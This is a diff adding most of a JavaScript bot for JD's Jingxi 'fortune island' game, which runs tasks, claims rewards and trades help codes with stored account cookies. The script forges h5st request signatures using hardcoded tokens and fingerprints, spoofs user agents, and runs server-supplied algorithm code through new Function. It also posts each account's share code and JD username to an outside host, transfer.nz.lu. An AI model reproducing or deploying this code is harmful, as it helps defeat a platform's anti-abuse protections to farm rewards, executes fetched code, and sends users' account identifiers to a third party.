console.log(`开始【🐮牛牛任务】${vo.strTaskName}`) + for (let i = vo.dwCompleteNum; i < vo.dwTargetNum; i++) { + console.log(`【🐮牛牛任务】${vo.strTaskName} 进度:${i + 1}/${vo.dwTargetNum}`) + await doTask(vo.ddwTaskId, 2) + await $.wait(2000) + } + } + } + data = await getActTask(false) + for (let key of Object.keys(data.Data.TaskList)) { + let vo = data.Data.TaskList[key] + if ((vo.dwCompleteNum >= vo.dwTargetNum) && vo.dwAwardStatus !== 1) { + await awardActTask('Award', vo) + await $.wait(2000) + } + } + data = await getActTask(false) + if (data.Data.dwCompleteTaskNum >= data.Data.dwTotalTaskNum) { + if (data.Data.dwStatus !== 4) { + console.log(`【🐮牛牛任务】已做完,去开启宝箱`) + await awardActTask('story/ActTaskAward') + await $.wait(2000) + } else { + console.log(`【🐮牛牛任务】已做完,宝箱已开启`) + } + } else { + console.log(`【🐮牛牛任务】未全部完成,无法开启宝箱\n`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data) + } + }) + }) +} +function awardActTask(function_path, taskInfo = '') { + const { ddwTaskId, strTaskName} = taskInfo + return new Promise((resolve) => { + switch (function_path) { + case 'Award': + $.get(taskListUrl(function_path, `taskId=${ddwTaskId}`, 'jxbfddch'), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} awardActTask API请求失败,请检查网路重试`) + } else { + const {msg, ret, data: {prizeInfo = ''} = {}} = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + let str = ''; + if (msg.indexOf('活动太火爆了') !== -1) { + str = '任务为成就任务或者未到任务时间'; + } else { + if (JSON.parse(prizeInfo).dwPrizeType == 4) { + str = msg + prizeInfo ? `获得红包 ¥ ${JSON.parse(prizeInfo).strPrizeName}` : ''; + } else { + str = msg + prizeInfo ? `获得金币 ¥ ${JSON.parse(prizeInfo).ddwCoin}` : ''; + } + } + console.log(`【🐮领牛牛任务奖励】${strTaskName} ${str}\n${$.showLog ? data : ''}`); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + break + case 'story/ActTaskAward': + $.get(taskUrl(function_path), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} awardActTask API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + if (data.iRet === 0 || data.sErrMsg === 'success') { + console.log(`【🐮牛牛任务】开启宝箱成功:获得财富 ¥ ${data.Data.ddwBigReward}\n`) + } else { + console.log(`【🐮牛牛任务】开启宝箱失败:${data.sErrMsg}\n`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + break + default: + break + } + }) +} + +// 升级建筑 +async function getBuildInfo(body, buildList, type = true) { + let twobody = body + return new Promise(async (resolve) => { + $.get(taskUrl(`user/GetBuildInfo`, body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} GetBuildInfo API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + if (type) { + let buildNmae; + switch(buildList.strBuildIndex) { + case 'food': + buildNmae = '京喜美食城' + break + case 'sea': + buildNmae = '京喜旅馆' + break + case 'shop': + buildNmae = '京喜商店' + break + case 'fun': + buildNmae = '京喜游乐场' + default: + break + } + if (data.dwBuildLvl === 0) { + console.log(`创建建筑`) + console.log(`【${buildNmae}】当前建筑还未创建,开始创建`) + await createbuilding(`strBuildIndex=${data.strBuildIndex}`, buildNmae) + await $.wait(2000) + data = await getBuildInfo(twobody, buildList, false) + await $.wait(2000) + } + console.log(`收金币`) + const body = `strBuildIndex=${data.strBuildIndex}&dwType=1` + let collectCoinRes = await collectCoin(body) + console.log(`【${buildNmae}】收集${collectCoinRes.ddwCoin}金币`) + await $.wait(3000) + await getUserInfo(false) + console.log(`升级建筑`) + console.log(`【${buildNmae}】当前等级:${buildList.dwLvl}`) + console.log(`【${buildNmae}】升级需要${data.ddwNextLvlCostCoin}金币,保留升级需要的3倍${data.ddwNextLvlCostCoin * 3}金币,当前拥有${$.info.ddwCoinBalance}金币`) + if(data.dwCanLvlUp > 0 && $.info.ddwCoinBalance >= (data.ddwNextLvlCostCoin * 3)) { + console.log(`【${buildNmae}】满足升级条件,开始升级`) + const body = `strBuildIndex=${data.strBuildIndex}&ddwCostCoin=${data.ddwNextLvlCostCoin}` + await $.wait(2000) + let buildLvlUpRes = await buildLvlUp(body) + if (buildLvlUpRes.iRet === 0) { + console.log(`【${buildNmae}】升级成功:获得${data.ddwLvlRich}财富\n`) + } else { + console.log(`【${buildNmae}】升级失败:${buildLvlUpRes.sErrMsg}\n`) + } + } else { + console.log(`【${buildNmae}】不满足升级条件,跳过升级\n`) + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function collectCoin(body) { + return new Promise((resolve) => { + $.get(taskUrl(`user/CollectCoin`, body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} CollectCoin API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function buildLvlUp(body) { + return new Promise((resolve) => { + $.get(taskUrl(`user/BuildLvlUp`, body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} BuildLvlUp API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function createbuilding(body, buildNmae) { + return new Promise(async (resolve) => { + $.get(taskUrl(`user/createbuilding`, body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} createbuilding API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + if (data.iRet === 0) console.log(`【${buildNmae}】创建成功`) + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +// 助力 +function helpByStage(shareCodes) { + return new Promise((resolve) => { + $.get(taskUrl(`story/helpbystage`, `strShareId=${shareCodes}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} helpbystage API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + if (data.iRet === 0 || data.sErrMsg === 'success') { + console.log(`助力成功:获得${data.Data.GuestPrizeInfo.strPrizeName}`) + } else if (data.iRet === 2235 || data.sErrMsg === '今日助力次数达到上限,明天再来帮忙吧~') { + console.log(`助力失败:${data.sErrMsg}`) + $.canHelp = false + } else if (data.iRet === 2232 || data.sErrMsg === '分享链接已过期') { + console.log(`助力失败:${data.sErrMsg}`) + $.delcode = true + } else if (data.iRet === 9999 || data.sErrMsg === '您还没有登录,请先登录哦~') { + console.log(`助力失败:${data.sErrMsg}`) + $.canHelp = false + } else if (data.iRet === 2229 || data.sErrMsg === '助力失败啦~') { + console.log(`助力失败:您的账号已黑`) + $.canHelp = false + } else if (data.iRet === 2190 || data.sErrMsg === '达到助力上限') { + console.log(`助力失败:${data.sErrMsg}`) + $.delcode = true + } else { + console.log(`助力失败:${data.sErrMsg}`) + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} + +function getAuthorShareCode(url) { + return new Promise(async resolve => { + const options = { + url: `${url}?${new Date()}`, "timeout": 10000, headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { + const tunnel = require("tunnel"); + const agent = { + https: tunnel.httpsOverHttp({ + proxy: { + host: process.env.TG_PROXY_HOST, + port: process.env.TG_PROXY_PORT * 1 + } + }) + } + Object.assign(options, { agent }) + } + $.get(options, async (err, resp, data) => { + try { + resolve(JSON.parse(data)) + } catch (e) { + // $.logErr(e, resp) + } finally { + resolve(); + } + }) + await $.wait(10000) + resolve(); + }) +} + +// 获取用户信息 +function getUserInfo(showInvite = true) { + return new Promise(async (resolve) => { + $.get(taskUrl(`user/QueryUserInfo`, `ddwTaskId=&strShareId=&strMarkList=${encodeURIComponent('guider_step,collect_coin_auth,guider_medal,guider_over_flag,build_food_full,build_sea_full,build_shop_full,build_fun_full,medal_guider_show,guide_guider_show,guide_receive_vistor,daily_task,guider_daily_task,cfd_has_show_selef_point,choose_goods_has_show,daily_task_win,new_user_task_win,guider_new_user_task,guider_daily_task_icon,guider_nn_task_icon,tool_layer,new_ask_friend_m')}&strPgtimestamp=${token['timestamp']}&strPhoneID=${token['phoneid']}&strPgUUNum=${token['farm_jstoken']}&strVersion=1.0.1&dwIsReJoin=1`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} QueryUserInfo API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + $.showPp = data?.AreaAddr?.dwIsSHowPp ?? 0 + const { + buildInfo = {}, + ddwRichBalance, + ddwCoinBalance, + sErrMsg, + strMyShareId, + dwLandLvl, + LeadInfo = {}, + StoryInfo = {}, + Business = {}, + XbStatus = {} + } = data; + if (showInvite) { + console.log(`获取用户信息:${sErrMsg}\n${$.showLog ? data : ""}`); + console.log(`\n当前等级:${dwLandLvl},金币:${ddwCoinBalance},财富值:${ddwRichBalance},连续营业天数:${Business.dwBussDayNum},离线收益:${Business.ddwCoin}\n`) + } + if (showInvite && strMyShareId) { + console.log(`财富岛好友互助码每次运行都变化,旧的当天有效`); + console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${strMyShareId}`); + $.shareCodes.push(strMyShareId) + await uploadShareCode(strMyShareId) + } + $.info = { + ...$.info, + buildInfo, + ddwRichBalance, + ddwCoinBalance, + strMyShareId, + dwLandLvl, + LeadInfo, + StoryInfo, + XbStatus + }; + resolve({ + buildInfo, + ddwRichBalance, + ddwCoinBalance, + strMyShareId, + LeadInfo, + StoryInfo, + XbStatus + }); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +function getPropTask() { + return new Promise((resolve) => { + $.get(taskUrl(`story/GetPropTask`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} getPropTask API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + for (let key of Object.keys(data.Data.TaskList)) { + let vo = data.Data.TaskList[key] + if ((vo.dwCompleteNum < vo.dwTargetNum) && ![9, 11].includes(vo.dwPointType)) { + await doTask(vo.ddwTaskId, 3) + await $.wait(2000) + } else { + if ((vo.dwCompleteNum >= vo.dwTargetNum) && vo.dwAwardStatus !== 1) { + console.log(`【${vo.strTaskName}】已完成,去领取奖励`) + await $.wait(2000) + await awardTask(2, vo) + } + } + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +//任务 +function getTaskList(taskType) { + return new Promise(async (resolve) => { + switch (taskType){ + case 0: //日常任务 + $.get(taskListUrl("GetUserTaskStatusList", `taskId=0&showAreaTaskFlag=${$.showPp}`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} GetUserTaskStatusList 日常任务 API请求失败,请检查网路重试`) + } else { + const { ret, data: { userTaskStatusList = [] } = {}, msg } = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + $.allTask = userTaskStatusList.filter((x) => x.awardStatus !== 1 && x.taskCaller === 1); + if($.allTask.length === 0) { + console.log(`【📆日常任务】已做完`) + } else { + console.log(`获取【📆日常任务】列表 ${msg},总共${$.allTask.length}个任务!\n${$.showLog ? data : ""}`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + break; + case 1: //成就任务 + $.get(taskListUrl("GetUserTaskStatusList"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} GetUserTaskStatusList 成就任务 API请求失败,请检查网路重试`) + } else { + const { ret, data: { userTaskStatusList = [] } = {}, msg } = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + $.allTask = userTaskStatusList.filter((x) => (x.completedTimes >= x.targetTimes) && x.awardStatus !== 1 && x.taskCaller === 2); + if($.allTask.length === 0) { + console.log(`【🎖成就任务】没有可领奖的任务\n`) + } else { + console.log(`获取【🎖成就任务】列表 ${msg},总共${$.allTask.length}个任务!\n${$.showLog ? data : ""}`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + break; + default: + break; + } + }); +} + +//浏览任务 + 做任务 + 领取奖励 +function browserTask(taskType) { + return new Promise(async (resolve) => { + switch (taskType) { + case 0://日常任务 + for (let i = 0; i < $.allTask.length; i++) { + const start = $.allTask[i].completedTimes, end = $.allTask[i].targetTimes, bizCode = $.allTask[i]?.bizCode ?? "jxbfd" + const taskinfo = $.allTask[i]; + console.log(`开始第${i + 1}个【📆日常任务】${taskinfo.taskName}\n`); + for (let i = start; i < end; i++) { + //做任务 + console.log(`【📆日常任务】${taskinfo.taskName} 进度:${i + 1}/${end}`) + await doTask(taskinfo.taskId, null, bizCode); + await $.wait(2000); + } + //领取奖励 + await awardTask(0, taskinfo, bizCode); + } + break; + case 1://成就任务 + for (let i = 0; i < $.allTask.length; i++) { + const taskinfo = $.allTask[i]; + console.log(`开始第${i + 1}个【🎖成就任务】${taskinfo.taskName}\n`); + if(taskinfo.completedTimes < taskinfo.targetTimes){ + console.log(`【领成就奖励】${taskinfo.taskName} 该成就任务未达到门槛\n`); + } else { + //领奖励 + await awardTask(1, taskinfo); + await $.wait(2000); + } + } + break; + default: + break; + } + resolve(); + }); +} + +//做任务 +function doTask(taskId, type = 1, bizCodeXx) { + return new Promise(async (resolve) => { + let bizCode = `jxbfd`; + if (type === 2) bizCode = `jxbfddch`; + if (type === 3) bizCode = `jxbfdprop`; + if (bizCodeXx) bizCode = bizCodeXx + $.get(taskListUrl(`DoTask`, `taskId=${taskId}`, bizCode), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} DoTask API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve() + } + }) + }) +} + +//领取奖励 +function awardTask(taskType, taskinfo, bizCode = "jxbfd") { + return new Promise((resolve) => { + const {taskId, taskName} = taskinfo; + const {ddwTaskId, strTaskName} = taskinfo; + switch (taskType) { + case 0://日常任务 + $.get(taskListUrl(`Award`, `taskId=${taskId}`, bizCode), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} Award API请求失败,请检查网路重试`) + } else { + const {msg, ret, data: {prizeInfo = ''} = {}} = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + let str = ''; + if (msg.indexOf('活动太火爆了') !== -1) { + str = '任务为成就任务或者未到任务时间'; + } else { + str = msg + prizeInfo ? `获得金币 ¥ ${JSON.parse(prizeInfo).ddwCoin}` : ''; + } + console.log(`【领日常奖励】${taskName} ${str}\n${$.showLog ? data : ''}`); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + break + case 1://成就奖励 + $.get(taskListUrl(`Award`, `taskId=${taskId}`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} AchieveAward API请求失败,请检查网路重试`) + } else { + const {msg, ret, data: {prizeInfo = ''} = {}} = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + if(msg.indexOf('活动太火爆了') !== -1) { + console.log(`活动太火爆了`) + } else { + console.log(`【领成就奖励】${taskName} 获得财富值 ¥ ${JSON.parse(prizeInfo).ddwMoney}\n${$.showLog ? data : ''}`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + break + case 2: + $.get(taskListUrl(`Award`, `taskId=${ddwTaskId}`, `jxbfdprop`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} Award API请求失败,请检查网路重试`) + } else { + const {msg, ret, data: {prizeInfo = ''} = {}} = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + if(msg.indexOf('活动太火爆了') !== -1) { + console.log(`活动太火爆了`) + } else { + console.log(`【领卡片奖励】${strTaskName} 获得 ${JSON.parse(prizeInfo).CardInfo.CardList[0].strCardName}\n${$.showLog ? data : ''}`); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + default: + break + } + }); +} + +// 新手任务 +async function noviceTask(){ + let body = `` + await init(`user/guideuser`, body) + body = `strMark=guider_step&strValue=welcom&dwType=2` + await init(`user/SetMark`, body) + body = `strMark=guider_over_flag&strValue=999&dwType=2` + await init(`user/SetMark`, body) + body = `strMark=guider_step&strValue=999&dwType=2` + await init(`user/SetMark`, body) + body = `strMark=guider_step&strValue=999&dwType=2` + await init(`user/SetMark`, body) + body = `strMark=guider_over_flag&strValue=999&dwType=2` + await init(`user/SetMark`, body) + body = `strMark=guider_step&strValue=gift_redpack&dwType=2` + await init(`user/SetMark`, body) + body = `strMark=guider_step&strValue=none&dwType=2` + await init(`user/SetMark`, body) +} +async function init(function_path, body) { + return new Promise(async (resolve) => { + $.get(taskUrl(function_path, body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} init API请求失败,请检查网路重试`) + } else { + if (function_path == "user/SetMark") opId = 23 + if (function_path == "user/guideuser") opId = 27 + data = JSON.parse(data.replace(/\n/g, "").match(new RegExp(/jsonpCBK.?\((.*);*\)/))[1]); + contents = `1771|${opId}|${data.iRet}|0|${data.sErrMsg || 0}` + await biz(contents) + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +function biz(contents){ + return new Promise(async (resolve) => { + let option = { + url:`https://m.jingxi.com/webmonitor/collect/biz.json?contents=${contents}&t=${Math.random()}&sceneval=2`, + headers: { + Cookie: cookie, + Accept: "*/*", + Connection: "keep-alive", + Referer: "https://st.jingxi.com/fortune_island/index.html?ptag=138631.26.55", + "Accept-Encoding": "gzip, deflate, br", + Host: 'm.jingxi.com', + "User-Agent": UA, + "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8", + } + } + $.get(option, async (err, resp, _data) => { + try { + // console.log(_data) + } + catch (e) { + $.logErr(e, resp); + } + finally { + resolve(); + } + }) + }) +} + +function taskUrl(function_path, body = '', dwEnv = 7) { + let url = `${JD_API_HOST}jxbfd/${function_path}?strZone=jxbfd&bizCode=jxbfd&source=jxbfd&dwEnv=${dwEnv}&_cfd_t=${Date.now()}&ptag=7155.9.47${body ? `&${body}` : ''}`; + url += `&_stk=${getStk(url)}`; + url += `&_ste=1&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + return { + url, + headers: { + "Host": "m.jingxi.com", + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "User-Agent": UA, + "Accept-Language": "zh-CN,zh-Hans;q=0.9", + "Referer": "https://st.jingxi.com/", + "Cookie": cookie + } + } +} + +function taskListUrl(function_path, body = '', bizCode = 'jxbfd') { + let url = `${JD_API_HOST}newtasksys/newtasksys_front/${function_path}?strZone=jxbfd&bizCode=${bizCode}&source=jxbfd&dwEnv=7&_cfd_t=${Date.now()}&ptag=7155.9.47${body ? `&${body}` : ''}`; + url += `&_stk=${getStk(url)}`; + url += `&_ste=1&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + return { + url, + headers: { + "Host": "m.jingxi.com", + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "User-Agent": UA, + "Accept-Language": "zh-CN,zh-Hans;q=0.9", + "Referer": "https://st.jingxi.com/", + "Cookie": cookie + } + } +} +function getStk(url) { + let arr = url.split('&').map(x => x.replace(/.*\?/, "").replace(/=.*/, "")) + return encodeURIComponent(arr.filter(x => x).sort().join(',')) +} +function randomString(e) { + e = e || 32; + let t = "0123456789abcdef", a = t.length, n = ""; + for (let i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function showMsg() { + return new Promise(async (resolve) => { + if ($.result.length) { + if ($.notifyTime) { + const notifyTimes = $.notifyTime.split(",").map((x) => x.split(":")); + const now = $.time("HH:mm").split(":"); + console.log(`\n${JSON.stringify(notifyTimes)}`); + console.log(`\n${JSON.stringify(now)}`); + if ( notifyTimes.some((x) => x[0] === now[0] && (!x[1] || x[1] === now[1])) ) { + $.msg($.name, "", `${$.result.join("\n")}`); + } + } else { + $.msg($.name, "", `${$.result.join("\n")}`); + } + + if ($.isNode() && process.env.CFD_NOTIFY_CONTROL) + await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName}`, `${$.result.join("\n")}`); + } + resolve(); + }); +} + +function readShareCode() { + return new Promise(async resolve => { + $.get({url: `https://transfer.nz.lu/cfd`, timeout: 30 * 1000}, (err, resp, data) => { + try { + if (err) { + console.log(JSON.stringify(err)) + console.log(`${$.name} readShareCode API请求失败,请检查网路重试`) + } else { + if (data) { + console.log(`\n随机取${randomCount}个码放到您固定的互助码后面(不影响已有固定互助)`) + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(30 * 1000); + resolve() + }) +} +function uploadShareCode(code) { + return new Promise(async resolve => { + $.post({url: `https://transfer.nz.lu/upload/cfd?code=${code}&ptpin=${encodeURIComponent(encodeURIComponent($.UserName))}`, timeout: 30 * 1000}, (err, resp, data) => { + try { + if (err) { + console.log(JSON.stringify(err)) + console.log(`${$.name} uploadShareCode API请求失败,请检查网路重试`) + } else { + if (data) { + if (data === 'OK') { + console.log(`已自动提交助力码\n`) + } else if (data === 'error') { + console.log(`助力码格式错误,乱玩API是要被打屁屁的~\n`) + } else if (data === 'full') { + console.log(`车位已满,请等待下一班次\n`) + } else if (data === 'exist') { + console.log(`助力码已经提交过了~\n`) + } else if (data === 'not in whitelist') { + console.log(`提交助力码失败,此用户不在白名单中\n`) + } else { + console.log(`未知错误:${data}\n`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(30 * 1000); + resolve() + }) +} +//格式化助力码 +function shareCodesFormat() { + return new Promise(async resolve => { + $.newShareCodes = [] + const readShareCodeRes = await readShareCode(); + if (readShareCodeRes && readShareCodeRes.code === 200) { + $.newShareCodes = [...new Set([...$.shareCodes, ...$.strMyShareIds, ...(readShareCodeRes.data || [])])]; + } else { + $.newShareCodes = [...new Set([...$.shareCodes, ...$.strMyShareIds])]; + } + console.log(`您将要助力的好友${JSON.stringify($.newShareCodes)}`) + resolve(); + }) +} + +function TotalBean() { + return new Promise(resolve => { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + "Host": "me-api.jd.com", + "Accept": "*/*", + "User-Agent": "ScriptableWidgetExtension/185 CFNetwork/1312 Darwin/21.0.0", + "Accept-Language": "zh-CN,zh-Hans;q=0.9", + "Accept-Encoding": "gzip, deflate, br", + "Cookie": cookie + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + console.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve() + } + }) + }) +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +/* +修改时间戳转换函数,京喜工厂原版修改 + */ +Date.prototype.Format = function (fmt) { + var e, + n = this, d = fmt, l = { + "M+": n.getMonth() + 1, + "d+": n.getDate(), + "D+": n.getDate(), + "h+": n.getHours(), + "H+": n.getHours(), + "m+": n.getMinutes(), + "s+": n.getSeconds(), + "w+": n.getDay(), + "q+": Math.floor((n.getMonth() + 3) / 3), + "S+": n.getMilliseconds() + }; + /(y+)/i.test(d) && (d = d.replace(RegExp.$1, "".concat(n.getFullYear()).substr(4 - RegExp.$1.length))); + for (var k in l) { + if (new RegExp("(".concat(k, ")")).test(d)) { + var t, a = "S+" === k ? "000" : "00"; + d = d.replace(RegExp.$1, 1 == RegExp.$1.length ? l[k] : ("".concat(a) + l[k]).substr("".concat(l[k]).length)) + } + } + return d; +} + +async function requestAlgo() { + $.fingerprint = await generateFp(); + const options = { + "url": `https://cactus.jd.com/request_algo?g_ty=ajax`, + "headers": { + 'Authority': 'cactus.jd.com', + 'Pragma': 'no-cache', + 'Cache-Control': 'no-cache', + 'Accept': 'application/json', + 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1', + 'Content-Type': 'application/json', + 'Origin': 'https://st.jingxi.com', + 'Sec-Fetch-Site': 'cross-site', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Referer': 'https://st.jingxi.com/', + 'Accept-Language': 'zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7' + }, + 'body': JSON.stringify({ + "version": "1.0", + "fp": $.fingerprint, + "appId": $.appId.toString(), + "timestamp": Date.now(), + "platform": "web", + "expandParams": "" + }) + } + return new Promise(async resolve => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`request_algo 签名参数API请求失败,请检查网路重试`) + } else { + if (data) { + // console.log(data); + data = JSON.parse(data); + if (data['status'] === 200) { + $.token = data.data.result.tk; + let enCryptMethodJDString = data.data.result.algo; + if (enCryptMethodJDString) $.enCryptMethodJD = new Function(`return ${enCryptMethodJDString}`)(); + console.log(`获取签名参数成功!`) + console.log(`fp: ${$.fingerprint}`) + console.log(`token: ${$.token}`) + console.log(`enCryptMethodJD: ${enCryptMethodJDString}`) + } else { + console.log(`fp: ${$.fingerprint}`) + console.log('request_algo 签名参数API请求失败:') + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function decrypt(time, stk, type, url) { + stk = stk || (url ? getUrlData(url, '_stk') : '') + if (stk) { + const timestamp = new Date(time).Format("yyyyMMddhhmmssSSS"); + let hash1 = ''; + if ($.fingerprint && $.token && $.enCryptMethodJD) { + hash1 = $.enCryptMethodJD($.token, $.fingerprint.toString(), timestamp.toString(), $.appId.toString(), $.CryptoJS).toString($.CryptoJS.enc.Hex); + } else { + const random = '5gkjB6SpmC9s'; + $.token = `tk01wcdf61cb3a8nYUtHcmhSUFFCfddDPRvKvYaMjHkxo6Aj7dhzO+GXGFa9nPXfcgT+mULoF1b1YIS1ghvSlbwhE0Xc`; + $.fingerprint = 5287160221454703; + const str = `${$.token}${$.fingerprint}${timestamp}${$.appId}${random}`; + hash1 = $.CryptoJS.SHA512(str, $.token).toString($.CryptoJS.enc.Hex); + } + let st = ''; + stk.split(',').map((item, index) => { + st += `${item}:${getUrlData(url, item)}${index === stk.split(',').length -1 ? '' : '&'}`; + }) + const hash2 = $.CryptoJS.HmacSHA256(st, hash1.toString()).toString($.CryptoJS.enc.Hex); + // console.log(`\nst:${st}`) + // console.log(`h5st:${["".concat(timestamp.toString()), "".concat(fingerprint.toString()), "".concat($.appId.toString()), "".concat(token), "".concat(hash2)].join(";")}\n`) + return encodeURIComponent(["".concat(timestamp.toString()), "".concat($.fingerprint.toString()), "".concat($.appId.toString()), "".concat($.token), "".concat(hash2), "".concat("3.0"), "".concat(time)].join(";")) + } else { + return '20210318144213808;8277529360925161;10001;tk01w952a1b73a8nU0luMGtBanZTHCgj0KFVwDa4n5pJ95T/5bxO/m54p4MtgVEwKNev1u/BUjrpWAUMZPW0Kz2RWP8v;86054c036fe3bf0991bd9a9da1a8d44dd130c6508602215e50bb1e385326779d' + } +} + +/** + * 获取url参数值 + * @param url + * @param name + * @returns {string} + */ +function getUrlData(url, name) { + if (typeof URL !== "undefined") { + let urls = new URL(url); + let data = urls.searchParams.get(name); + return data ? data : ''; + } else { + const query = url.match(/\?.*/)[0].substring(1) + const vars = query.split('&') + for (let i = 0; i < vars.length; i++) { + const pair = vars[i].split('=') + if (pair[0] === name) { + // return pair[1]; + return 